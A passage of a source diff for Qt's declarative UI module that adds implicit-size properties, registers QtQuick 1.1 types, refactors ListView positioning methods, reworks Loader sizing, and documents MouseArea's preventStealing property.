+        implicitWidth: text.implicitWidth + image.implicitWidth
+        implicitHeight: Math.max(text.implicitHeight, image.implicitHeight)
+        Image { id: image }
+        Text {
+            id: text
+            wrapMode: Text.Wrap
+            anchors.left: image.right; anchors.right: parent.right
+            anchors.verticalCenter: parent.verticalCenter
+        }
+    }
+    \endcode
+
+    \bold Note: using implicitWidth of Text or TextEdit and setting the width explicitly
+    incurs a performance penalty as the text must be laid out twice.
+*/
+
+
+/*!
     Sets the implied height of the item to \a h.
     This is the height implied by other properties that determine the content.
 */
 void QDeclarativeItem::setImplicitHeight(qreal h)
 {
     Q_D(QDeclarativeItem);
-    d->implicitHeight = h;
-    if (d->mHeight == h || heightValid())
+    bool changed = h != d->mImplicitHeight;
+    d->mImplicitHeight = h;
+    if (d->mHeight == h || heightValid()) {
+        if (changed)
+            d->implicitHeightChanged();
         return;
+    }
 
     qreal oldHeight = d->mHeight;
 
@@ -3161,6 +3314,9 @@ void QDeclarativeItem::setImplicitHeight(qreal h)
 
     geometryChanged(QRectF(x(), y(), width(), height()),
                     QRectF(x(), y(), width(), oldHeight));
+
+    if (changed)
+        d->implicitHeightChanged();
 }
 
 /*!
diff --git a/src/declarative/graphicsitems/qdeclarativeitem.h b/src/declarative/graphicsitems/qdeclarativeitem.h
index 0dd3937..839b934 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem.h
+++ b/src/declarative/graphicsitems/qdeclarativeitem.h
@@ -92,6 +92,9 @@ class Q_DECLARATIVE_EXPORT QDeclarativeItem : public QGraphicsObject, public QDe
     Q_PROPERTY(TransformOrigin transformOrigin READ transformOrigin WRITE setTransformOrigin NOTIFY transformOriginChanged)
     Q_PROPERTY(QPointF transformOriginPoint READ transformOriginPoint) // transformOriginPoint is read-only for Item
     Q_PROPERTY(bool smooth READ smooth WRITE setSmooth NOTIFY smoothChanged)
+    Q_PROPERTY(qreal implicitWidth READ implicitWidth WRITE setImplicitWidth NOTIFY implicitWidthChanged REVISION 1)
+    Q_PROPERTY(qreal implicitHeight READ implicitHeight WRITE setImplicitHeight NOTIFY implicitHeightChanged REVISION 1)
+
     Q_ENUMS(TransformOrigin)
     Q_CLASSINFO("DefaultProperty", "data")
 
@@ -161,6 +164,8 @@ Q_SIGNALS:
     void transformOriginChanged(TransformOrigin);
     void smoothChanged(bool);
     void clipChanged(bool);
+    Q_REVISION(1) void implicitWidthChanged();
+    Q_REVISION(1) void implicitHeightChanged();
 
 protected:
     bool isComponentComplete() const;
diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h
index 781dd6d..4303c0a 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h
@@ -126,7 +126,7 @@ public:
       widthValid(false), heightValid(false),
       componentComplete(true), keepMouse(false),
       smooth(false), transformOriginDirty(true), doneEventPreHandler(false), keyHandler(0),
-      mWidth(0), mHeight(0), implicitWidth(0), implicitHeight(0), hadSubFocusItem(false)
+      mWidth(0), mHeight(0), mImplicitWidth(0), mImplicitHeight(0), hadSubFocusItem(false)
     {
         QGraphicsItemPrivate::acceptedMouseButtons = 0;
         isDeclarativeItem = 1;
@@ -157,6 +157,11 @@ public:
     void setHeight(qreal);
     void resetHeight();
 
+    virtual qreal implicitWidth() const;
+    virtual qreal implicitHeight() const;
+    virtual void implicitWidthChanged();
+    virtual void implicitHeightChanged();
+
     QDeclarativeListProperty<QObject> data();
     QDeclarativeListProperty<QObject> resources();
 
@@ -272,8 +277,8 @@ public:
 
     qreal mWidth;
     qreal mHeight;
-    qreal implicitWidth;
-    qreal implicitHeight;
+    qreal mImplicitWidth;
+    qreal mImplicitHeight;
 
     bool hadSubFocusItem;
 
@@ -415,6 +420,7 @@ Q_SIGNALS:
 private:
     virtual void keyPressed(QKeyEvent *event, bool post);
     virtual void keyReleased(QKeyEvent *event, bool post);
+    void setFocusNavigation(QDeclarativeItem *currentItem, const char *dir);
 };
 
 class QDeclarativeKeysAttachedPrivate : public QObjectPrivate
diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
index 52703c2..3c8f64e 100644
--- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
@@ -78,6 +78,7 @@
 #include "private/qdeclarativewebview_p_p.h"
 #endif
 #include "private/qdeclarativeanchors_p.h"
+#include "private/qdeclarativepincharea_p.h"
 
 static QDeclarativePrivate::AutoParentResult qgraphicsobject_autoParent(QObject *obj, QObject *parent)
 {
@@ -174,6 +175,30 @@ void QDeclarativeItemModule::defineModule()
     qmlRegisterUncreatableType<QDeclarativeKeyNavigationAttached>("QtQuick",1,0,"KeyNavigation",QDeclarativeKeyNavigationAttached::tr("KeyNavigation is only available via attached properties"));
     qmlRegisterUncreatableType<QDeclarativeKeysAttached>("QtQuick",1,0,"Keys",QDeclarativeKeysAttached::tr("Keys is only available via attached properties"));
 
+    // QtQuick 1.1 items
+    qmlRegisterType<QDeclarativePinchArea>("QtQuick",1,1,"PinchArea");
+    qmlRegisterType<QDeclarativePinch>("QtQuick",1,1,"Pinch");
+    qmlRegisterType<QDeclarativePinchEvent>();
+    qmlRegisterType<QDeclarativeItem,1>("QtQuick",1,1,"Item");
+    qmlRegisterType<QDeclarativeMouseArea,1>("QtQuick",1,1,"MouseArea");
+    qmlRegisterType<QDeclarativeFlickable,1>("QtQuick",1,1,"Flickable");
+    qmlRegisterType<QDeclarativeListView,1>("QtQuick",1,1,"ListView");
+    qmlRegisterType<QDeclarativeGridView,1>("QtQuick",1,1,"GridView");
+    qmlRegisterType<QDeclarativeRow,1>("QtQuick",1,1,"Row");
+    qmlRegisterType<QDeclarativeGrid,1>("QtQuick",1,1,"Grid");
+    qmlRegisterType<QDeclarativeFlow,1>("QtQuick",1,1,"Flow");
+    qmlRegisterType<QDeclarativeRepeater,1>("QtQuick",1,1,"Repeater");
+    qmlRegisterType<QDeclarativeText,1>("QtQuick",1,1,"Text");
+    qmlRegisterType<QDeclarativeTextEdit,1>("QtQuick",1,1,"TextEdit");
+#ifndef QT_NO_LINEEDIT
+    qmlRegisterType<QDeclarativeTextInput,1>("QtQuick",1,1,"TextInput");
+#endif
+    qmlRegisterRevision<QDeclarativeImageBase,1>("QtQuick",1,1);
+    qmlRegisterRevision<QDeclarativeImplicitSizeItem,0>("QtQuick",1,0);
+    qmlRegisterRevision<QDeclarativeImplicitSizeItem,1>("QtQuick",1,1);
+    qmlRegisterRevision<QDeclarativeImplicitSizePaintedItem,0>("QtQuick",1,0);
+    qmlRegisterRevision<QDeclarativeImplicitSizePaintedItem,1>("QtQuick",1,1);
+
 #ifndef QT_NO_IMPORT_QT47_QML
 #ifdef QT_NO_MOVIE
     qmlRegisterTypeNotAvailable("Qt",4,7,"AnimatedImage",
diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp
index b4b3fa7..338cb58 100644
--- a/src/declarative/graphicsitems/qdeclarativelistview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp
@@ -148,7 +148,7 @@ public:
         else
             item->setWidth(size);
     }
-    bool contains(int x, int y) const {
+    bool contains(qreal x, qreal y) const {
         return (x >= item->x() && x < item->x() + item->width() &&
                 y >= item->y() && y < item->y() + item->height());
     }
@@ -228,6 +228,26 @@ public:
         return 0;
     }
 
+    // Returns the item before modelIndex, if created.
+    // May return an item marked for removal.
+    FxListItem *itemBefore(int modelIndex) const {
+        if (modelIndex < visibleIndex)
+            return 0;
+        int idx = 1;
+        int lastIndex = -1;
+        while (idx < visibleItems.count()) {
+            FxListItem *item = visibleItems.at(idx);
+            if (item->index != -1)
+                lastIndex = item->index;
+            if (item->index == modelIndex)
+                return visibleItems.at(idx-1);
+            ++idx;
+        }
+        if (lastIndex == modelIndex-1)
+            return visibleItems.last();
+        return 0;
+    }
+
     qreal position() const {
         Q_Q(const QDeclarativeListView);
         return orient == QDeclarativeListView::Vertical ? q->contentY() : q->contentX();
@@ -413,8 +433,10 @@ public:
             }
         }
         if ((header && header->item == item) || (footer && footer->item == item)) {
-            updateHeader();
-            updateFooter();
+            if (header)
+                updateHeader();
+            if (footer)
+                updateFooter();
         }
         if (currentItem && currentItem->item == item)
             updateHighlight();
@@ -451,6 +473,7 @@ public:
     void updateHeader();
     void updateFooter();
     void fixupPosition();
+    void positionViewAtIndex(int index, int mode);
     virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent);
     virtual void flick(QDeclarativeFlickablePrivate::AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize,
                         QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity);
@@ -558,7 +581,7 @@ FxListItem *QDeclarativeListViewPrivate::createItem(int modelIndex)
             QString propValue = model->stringValue(modelIndex, sectionCriteria->property());
             listItem->attached->m_section = sectionCriteria->sectionString(propValue);
             if (modelIndex > 0) {
-                if (FxListItem *item = visibleItem(modelIndex-1))
+                if (FxListItem *item = itemBefore(modelIndex))
                     listItem->attached->m_prevSection = item->attached->section();
                 else
                     listItem->attached->m_prevSection = sectionAt(modelIndex-1);
@@ -935,6 +958,9 @@ void QDeclarativeListViewPrivate::createSection(FxListItem *listItem)
                 }
             }
             listItem->setPosition(pos);
+        } else {
+            QDeclarativeContext *context = QDeclarativeEngine::contextForObject(listItem->section)->parentContext();
+            context->setContextProperty(QLatin1String("section"), listItem->attached->m_section);
         }
     } else if (listItem->section) {
         qreal pos = listItem->position();
@@ -963,18 +989,18 @@ void QDeclarativeListViewPrivate::updateSections()
         QDeclarativeListViewAttached *prevAtt = 0;
         int idx = -1;
         for (int i = 0; i < visibleItems.count(); ++i) {
+            QDeclarativeListViewAttached *attached = visibleItems.at(i)->attached;
+            attached->setPrevSection(prevSection);
             if (visibleItems.at(i)->index != -1) {
-                QDeclarativeListViewAttached *attached = visibleItems.at(i)->attached;
-                attached->setPrevSection(prevSection);
                 QString propValue = model->stringValue(visibleItems.at(i)->index, sectionCriteria->property());
                 attached->setSection(sectionCriteria->sectionString(propValue));
-                if (prevAtt)
-                    prevAtt->setNextSection(attached->section());
-                createSection(visibleItems.at(i));
-                prevSection = attached->section();
-                prevAtt = attached;
                 idx = visibleItems.at(i)->index;
             }
+            createSection(visibleItems.at(i));
+            if (prevAtt)
+                prevAtt->setNextSection(attached->section());
+            prevSection = attached->section();
+            prevAtt = attached;
         }
         if (prevAtt) {
             if (idx > 0 && idx < model->count()-1)
@@ -2231,6 +2257,9 @@ void QDeclarativeListView::setFooter(QDeclarativeComponent *footer)
     Q_D(QDeclarativeListView);
     if (d->footerComponent != footer) {
         if (d->footer) {
+            if (scene())
+                scene()->removeItem(d->footer->item);
+            d->footer->item->deleteLater();
             delete d->footer;
             d->footer = 0;
         }
@@ -2240,6 +2269,7 @@ void QDeclarativeListView::setFooter(QDeclarativeComponent *footer)
         if (isComponentComplete()) {
             d->updateFooter();
             d->updateViewport();
+            d->fixupPosition();
         }
         emit footerChanged();
     }
@@ -2265,6 +2295,9 @@ void QDeclarativeListView::setHeader(QDeclarativeComponent *header)
     Q_D(QDeclarativeListView);
     if (d->headerComponent != header) {
         if (d->header) {
+            if (scene())
+                scene()->removeItem(d->header->item);
+            d->header->item->deleteLater();
             delete d->header;
             d->header = 0;
         }
@@ -2275,6 +2308,7 @@ void QDeclarativeListView::setHeader(QDeclarativeComponent *header)
             d->updateHeader();
             d->updateFooter();
             d->updateViewport();
+            d->fixupPosition();
         }
         emit headerChanged();
     }
@@ -2558,6 +2592,78 @@ void QDeclarativeListView::decrementCurrentIndex()
     }
 }
 
+void QDeclarativeListViewPrivate::positionViewAtIndex(int index, int mode)
+{
+    Q_Q(QDeclarativeListView);
+    if (!isValid())
+        return;
+    if (mode < QDeclarativeListView::Beginning || mode > QDeclarativeListView::Contain)
+        return;
+    int idx = qMax(qMin(index, model->count()-1), 0);
+
+    if (layoutScheduled)
+        layout();
+    qreal pos = position();
+    FxListItem *item = visibleItem(idx);
+    qreal maxExtent = orient == QDeclarativeListView::Vertical ? -q->maxYExtent() : -q->maxXExtent();
+    if (!item) {
+        int itemPos = positionAt(idx);
+        // save the currently visible items in case any of them end up visible again
+        QList<FxListItem*> oldVisible = visibleItems;
+        visibleItems.clear();
+        visiblePos = itemPos;
+        visibleIndex = idx;
+        setPosition(qMin(qreal(itemPos), maxExtent));
+        // now release the reference to all the old visible items.
+        for (int i = 0; i < oldVisible.count(); ++i)
+            releaseItem(oldVisible.at(i));
+        item = visibleItem(idx);
+    }
+    if (item) {
+        const qreal itemPos = item->position();
+        switch (mode) {
+        case QDeclarativeListView::Beginning:
+            pos = itemPos;
+            if (index < 0 && header)
+                pos -= header->size();
+            break;
+        case QDeclarativeListView::Center:
+            pos = itemPos - (size() - item->size())/2;
+            break;
+        case QDeclarativeListView::End:
+            pos = itemPos - size() + item->size();
+            if (index >= model->count() && footer)
+                pos += footer->size();
+            break;
+        case QDeclarativeListView::Visible:
+            if (itemPos > pos + size())
+                pos = itemPos - size() + item->size();
+            else if (item->endPosition() < pos)
+                pos = itemPos;
+            break;
+        case QDeclarativeListView::Contain:
+            if (item->endPosition() > pos + size())
+                pos = itemPos - size() + item->size();
+            if (itemPos < pos)
+                pos = itemPos;
+        }
+        pos = qMin(pos, maxExtent);
+        qreal minExtent = orient == QDeclarativeListView::Vertical ? -q->minYExtent() : -q->minXExtent();
+        pos = qMax(pos, minExtent);
+        moveReason = QDeclarativeListViewPrivate::Other;
+        q->cancelFlick();
+        setPosition(pos);
+        if (highlight) {
+            if (autoHighlight) {
+                highlight->setPosition(currentItem->itemPosition());
+                highlight->setSize(currentItem->itemSize());
+            }
+            updateHighlight();
+        }
+    }
+    fixupPosition();
+}
+
 /*!
     \qmlmethod ListView::positionViewAtIndex(int index, PositionMode mode)
 
@@ -2596,66 +2702,42 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
     Q_D(QDeclarativeListView);
     if (!d->isValid() || index < 0 || index >= d->model->count())
         return;
-    if (mode < Beginning || mode > Contain)
+    d->positionViewAtIndex(index, mode);
+}
+
+/*!
+    \qmlmethod ListView::positionViewAtBeginning()
+    \qmlmethod ListView::positionViewAtEnd()
+
+    Positions the view at the beginning or end, taking into account any header or footer.
+
+    It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+    at a particular index.  This is unreliable since removing items from the start
+    of the list does not cause all other items to be repositioned, and because
+    the actual start of the view can vary based on the size of the delegates.
+
+    \bold Note: methods should only be called after the Component has completed.  To position
+    the view at startup, this method should be called by Component.onCompleted.  For
+    example, to position the view at the end on startup:
+
+    \code
+    Component.onCompleted: positionViewAtEnd()
+    \endcode
+*/
+void QDeclarativeListView::positionViewAtBeginning()
+{
+    Q_D(QDeclarativeListView);
+    if (!d->isValid())
         return;
+    d->positionViewAtIndex(-1, Beginning);
+}
 
-    if (d->layoutScheduled)
-        d->layout();
-    qreal pos = d->position();
-    FxListItem *item = d->visibleItem(index);
-    qreal maxExtent = d->orient == QDeclarativeListView::Vertical ? -maxYExtent() : -maxXExtent();
-    if (!item) {
-        int itemPos = d->positionAt(index);
-        // save the currently visible items in case any of them end up visible again
-        QList<FxListItem*> oldVisible = d->visibleItems;
-        d->visibleItems.clear();
-        d->visiblePos = itemPos;
-        d->visibleIndex = index;
-        d->setPosition(qMin(qreal(itemPos), maxExtent));
-        // now release the reference to all the old visible items.
-        for (int i = 0; i < oldVisible.count(); ++i)
-            d->releaseItem(oldVisible.at(i));
-        item = d->visibleItem(index);
-    }
-    if (item) {
-        const qreal itemPos = item->position();
-        switch (mode) {
-        case Beginning:
-            pos = itemPos;
-            break;
-        case Center:
-            pos = itemPos - (d->size() - item->size())/2;
-            break;
-        case End:
-            pos = itemPos - d->size() + item->size();
-            break;
-        case Visible:
-            if (itemPos > pos + d->size())
-                pos = itemPos - d->size() + item->size();
-            else if (item->endPosition() < pos)
-                pos = itemPos;
-            break;
-        case Contain:
-            if (item->endPosition() > pos + d->size())
-                pos = itemPos - d->size() + item->size();
-            if (itemPos < pos)
-                pos = itemPos;
-        }
-        pos = qMin(pos, maxExtent);
-        qreal minExtent = d->orient == QDeclarativeListView::Vertical ? -minYExtent() : -minXExtent();
-        pos = qMax(pos, minExtent);
-        d->moveReason = QDeclarativeListViewPrivate::Other;
-        cancelFlick();
-        d->setPosition(pos);
-        if (d->highlight) {
-            if (d->autoHighlight) {
-                d->highlight->setPosition(d->currentItem->itemPosition());
-                d->highlight->setSize(d->currentItem->itemSize());
-            }
-            d->updateHighlight();
-        }
-    }
-    d->fixupPosition();
+void QDeclarativeListView::positionViewAtEnd()
+{
+    Q_D(QDeclarativeListView);
+    if (!d->isValid())
+        return;
+    d->positionViewAtIndex(d->model->count(), End);
 }
 
 /*!
@@ -2670,7 +2752,7 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
 
     \bold Note: methods should only be called after the Component has completed.
 */
-int QDeclarativeListView::indexAt(int x, int y) const
+int QDeclarativeListView::indexAt(qreal x, qreal y) const
 {
     Q_D(const QDeclarativeListView);
     for (int i = 0; i < d->visibleItems.count(); ++i) {
@@ -2791,23 +2873,8 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count)
         return;
     d->updateUnrequestedIndexes();
     d->moveReason = QDeclarativeListViewPrivate::Other;
-    if (!d->visibleItems.count() || d->model->count() <= 1) {
-        d->scheduleLayout();
-        if (d->itemCount && d->currentIndex >= modelIndex) {
-            // adjust current item index
-            d->currentIndex += count;
-            if (d->currentItem)
-                d->currentItem->index = d->currentIndex;
-            emit currentIndexChanged();
-        } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) {
-            d->updateCurrent(0);
-        }
-        d->itemCount += count;
-        emit countChanged();
-        return;
-    }
 
-    int index = d->mapFromModel(modelIndex);
+    int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0;
     if (index < 0) {
         int i = d->visibleItems.count() - 1;
         while (i > 0 && d->visibleItems.at(i)->index == -1)
@@ -2843,11 +2910,15 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count)
         }
     }
 
-    // At least some of the added items will be visible
-
     // index can be the next item past the end of the visible items list (i.e. appended)
-    int pos = index < d->visibleItems.count() ? d->visibleItems.at(index)->position()
+    int pos = 0;
+    if (d->visibleItems.count()) {
+        pos = index < d->visibleItems.count() ? d->visibleItems.at(index)->position()
                                                 : d->visibleItems.last()->endPosition()+d->spacing+1;
+    } else if (d->itemCount == 0 && d->header) {
+        pos = d->header->size();
+    }
+
     int initialPos = pos;
     int diff = 0;
     QList<FxListItem*> added;
@@ -2914,6 +2985,8 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count)
         if (d->currentItem) {
             d->currentItem->index = d->currentIndex;
             d->currentItem->setPosition(d->currentItem->position() + diff);
+        } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) {
+            d->updateCurrent(0);
         }
         emit currentIndexChanged();
     }
@@ -3043,6 +3116,7 @@ void QDeclarativeListView::destroyRemoved()
     }
 
     // Correct the positioning of the items
+    d->updateSections();
     d->layout();
 }
 
diff --git a/src/declarative/graphicsitems/qdeclarativelistview_p.h b/src/declarative/graphicsitems/qdeclarativelistview_p.h
index 7ffcb43..265f4bd 100644
--- a/src/declarative/graphicsitems/qdeclarativelistview_p.h
+++ b/src/declarative/graphicsitems/qdeclarativelistview_p.h
@@ -208,7 +208,9 @@ public:
     enum PositionMode { Beginning, Center, End, Visible, Contain };
 
     Q_INVOKABLE void positionViewAtIndex(int index, int mode);
-    Q_INVOKABLE int indexAt(int x, int y) const;
+    Q_INVOKABLE int indexAt(qreal x, qreal y) const;
+    Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning();
+    Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd();
 
 public Q_SLOTS:
     void incrementCurrentIndex();
diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
index ded2be3..6c1f1be 100644
--- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
@@ -48,7 +48,8 @@
 QT_BEGIN_NAMESPACE
 
 QDeclarativeLoaderPrivate::QDeclarativeLoaderPrivate()
-    : item(0), component(0), ownComponent(false)
+    : item(0), component(0), ownComponent(false), updatingSize(false),
+      itemWidthValid(false), itemHeightValid(false)
 {
 }
 
@@ -58,8 +59,13 @@ QDeclarativeLoaderPrivate::~QDeclarativeLoaderPrivate()
 
 void QDeclarativeLoaderPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, const QRectF &newGeometry, const QRectF &oldGeometry)
 {
-    if (resizeItem == item)
+    if (resizeItem == item) {
+        if (!updatingSize && newGeometry.width() != oldGeometry.width())
+            itemWidthValid = true;
+        if (!updatingSize && newGeometry.height() != oldGeometry.height())
+            itemHeightValid = true;
         _q_updateSize(false);
+    }
     QDeclarativeItemChangeListener::itemGeometryChanged(resizeItem, newGeometry, oldGeometry);
 }
 
@@ -99,6 +105,10 @@ void QDeclarativeLoaderPrivate::initResize()
         QDeclarativeItemPrivate *p =
                 static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(qmlItem));
         p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+        // We may override the item's size, so we need to remember
+        // whether the item provided its own valid size.
+        itemWidthValid = p->widthValid;
+        itemHeightValid = p->heightValid;
     } else if (item && item->isWidget()) {
         QGraphicsWidget *widget = static_cast<QGraphicsWidget*>(item);
         widget->installEventFilter(q);
@@ -216,7 +226,7 @@ void QDeclarativeLoaderPrivate::initResize()
 */
 
 QDeclarativeLoader::QDeclarativeLoader(QDeclarativeItem *parent)
-  : QDeclarativeItem(*(new QDeclarativeLoaderPrivate), parent)
+  : QDeclarativeImplicitSizeItem(*(new QDeclarativeLoaderPrivate), parent)
 {
     Q_D(QDeclarativeLoader);
     d->flags |= QGraphicsItem::ItemIsFocusScope;
@@ -262,6 +272,7 @@ void QDeclarativeLoader::setSource(const QUrl &url)
     d->clear();
 
     d->source = url;
+
     if (d->source.isEmpty()) {
         emit sourceChanged();
         emit statusChanged();
@@ -272,18 +283,9 @@ void QDeclarativeLoader::setSource(const QUrl &url)
 
     d->component = new QDeclarativeComponent(qmlEngine(this), d->source, this);
     d->ownComponent = true;
-    if (!d->component->isLoading()) {
-        d->_q_sourceLoaded();
-    } else {
-        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
-                this, SLOT(_q_sourceLoaded()));
-        connect(d->component, SIGNAL(progressChanged(qreal)),
-                this, SIGNAL(progressChanged()));
-        emit statusChanged();
-        emit progressChanged();
-        emit sourceChanged();
-        emit itemChanged();
-    }
+
+    if (isComponentComplete())
+        d->load();
 }
 
 /*!
@@ -324,6 +326,7 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
 
     d->component = comp;
     d->ownComponent = false;
+
     if (!d->component) {
         emit sourceChanged();
         emit statusChanged();
@@ -332,18 +335,8 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
         return;
     }
 
-    if (!d->component->isLoading()) {
-        d->_q_sourceLoaded();
-    } else {
-        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
-                this, SLOT(_q_sourceLoaded()));
-        connect(d->component, SIGNAL(progressChanged(qreal)),
-                this, SIGNAL(progressChanged()));
-        emit progressChanged();
-        emit sourceChanged();
-        emit statusChanged();
-        emit itemChanged();
-    }
+    if (isComponentComplete())
+        d->load();
 }
 
 void QDeclarativeLoader::resetSourceComponent()
@@ -351,6 +344,27 @@ void QDeclarativeLoader::resetSourceComponent()
     setSourceComponent(0);
 }
 
+void QDeclarativeLoaderPrivate::load()
+{
+    Q_Q(QDeclarativeLoader);
+
+    if (!q->isComponentComplete() || !component)
+        return;
+
+    if (!component->isLoading()) {
+        _q_sourceLoaded();
+    } else {
+        QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
+                q, SLOT(_q_sourceLoaded()));
+        QObject::connect(component, SIGNAL(progressChanged(qreal)),
+                q, SIGNAL(progressChanged()));
+        emit q->statusChanged();
+        emit q->progressChanged();
+        emit q->sourceChanged();
+        emit q->itemChanged();
+    }
+}
+
 void QDeclarativeLoaderPrivate::_q_sourceLoaded()
 {
     Q_Q(QDeclarativeLoader);
@@ -465,9 +479,10 @@ QDeclarativeLoader::Status QDeclarativeLoader::status() const
 
 void QDeclarativeLoader::componentComplete()
 {
+    Q_D(QDeclarativeLoader);
+
     QDeclarativeItem::componentComplete();
-    if (status() == Ready)
-        emit loaded();
+    d->load();
 }
 
 
@@ -504,13 +519,21 @@ qreal QDeclarativeLoader::progress() const
 void QDeclarativeLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
 {
     Q_Q(QDeclarativeLoader);
-    if (!item)
+    if (!item || updatingSize)
         return;
+
+    updatingSize = true;
     if (QDeclarativeItem *qmlItem = qobject_cast<QDeclarativeItem*>(item)) {
-        q->setImplicitWidth(qmlItem->width());
+        if (!itemWidthValid)
+            q->setImplicitWidth(qmlItem->implicitWidth());
+        else
+            q->setImplicitWidth(qmlItem->width());
         if (loaderGeometryChanged && q->widthValid())
             qmlItem->setWidth(q->width());
-        q->setImplicitHeight(qmlItem->height());
+        if (!itemHeightValid)
+            q->setImplicitHeight(qmlItem->implicitHeight());
+        else
+            q->setImplicitHeight(qmlItem->height());
         if (loaderGeometryChanged && q->heightValid())
             qmlItem->setHeight(q->height());
     } else if (item && item->isWidget()) {
@@ -525,6 +548,7 @@ void QDeclarativeLoaderPrivate::_q_updateSize(bool loaderGeometryChanged)
         if (widget->size() != widgetSize)
             widget->resize(widgetSize);
     }
+    updatingSize = false;
 }
 
 /*!
diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p.h
index 1fe7ae7..96b883c 100644
--- a/src/declarative/graphicsitems/qdeclarativeloader_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeloader_p.h
@@ -42,7 +42,7 @@
 #ifndef QDECLARATIVELOADER_H
 #define QDECLARATIVELOADER_H
 
-#include "qdeclarativeitem.h"
+#include "qdeclarativeimplicitsizeitem_p.h"
 
 QT_BEGIN_HEADER
 
@@ -51,7 +51,7 @@ QT_BEGIN_NAMESPACE
 QT_MODULE(Declarative)
 
 class QDeclarativeLoaderPrivate;
-class Q_AUTOTEST_EXPORT QDeclarativeLoader : public QDeclarativeItem
+class Q_AUTOTEST_EXPORT QDeclarativeLoader : public QDeclarativeImplicitSizeItem
 {
     Q_OBJECT
     Q_ENUMS(Status)
diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
index 45ab595..4593dfc 100644
--- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
@@ -55,13 +55,13 @@
 
 #include "private/qdeclarativeloader_p.h"
 
-#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
 #include "private/qdeclarativeitemchangelistener_p.h"
 
 QT_BEGIN_NAMESPACE
 
 class QDeclarativeContext;
-class QDeclarativeLoaderPrivate : public QDeclarativeItemPrivate, public QDeclarativeItemChangeListener
+class QDeclarativeLoaderPrivate : public QDeclarativeImplicitSizeItemPrivate, public QDeclarativeItemChangeListener
 {
     Q_DECLARE_PUBLIC(QDeclarativeLoader)
 
@@ -72,11 +72,15 @@ public:
     void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
     void clear();
     void initResize();
+    void load();
 
     QUrl source;
     QGraphicsObject *item;
     QDeclarativeComponent *component;
     bool ownComponent : 1;
+    bool updatingSize: 1;
+    bool itemWidthValid : 1;
+    bool itemHeightValid : 1;
 
     void _q_sourceLoaded();
     void _q_updateSize(bool loaderGeometryChanged = true);
diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
index 4b555d0..da11b00 100644
--- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp
+++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
@@ -216,9 +216,9 @@ QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate()
 
     \section1 Example Usage
 
-    \beginfloatright
+    \div {float-right}
     \inlineimage qml-mousearea-snippet.png
-    \endfloat
+    \enddiv
 
     The following example uses a MouseArea in a \l Rectangle that changes
     the \l Rectangle color to red when clicked:
@@ -314,6 +314,8 @@ QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate()
     position of the release of the click, and whether the click was held.
 
     The \e accepted property of the MouseEvent parameter is ignored in this handler.
+
+    \sa onCanceled()
 */
 
 /*!
@@ -414,6 +416,40 @@ void QDeclarativeMouseArea::setEnabled(bool a)
         emit enabledChanged();
     }
 }
+
+/*!
+    \qmlproperty bool MouseArea::preventStealing
+    \since Quick 1.1
+    This property holds whether the mouse events may be stolen from this
+    MouseArea.
+
+    If a MouseArea is placed within an item that filters child mouse
+    events, such as Flickable, the mouse
+    events may be stolen from the MouseArea if a gesture is recognized
+    by the parent element, e.g. a flick gesture.  If preventStealing is
+    set to true, no element will steal the mouse events.
+
+    Note that setting preventStealing to true once an element has started
+    stealing events will have no effect until the next press event.
+
+    By default this property is false.
+*/
+bool QDeclarativeMouseArea::preventStealing() const
+{
+    Q_D(const QDeclarativeMouseArea);
+    return d->preventStealing;
+}
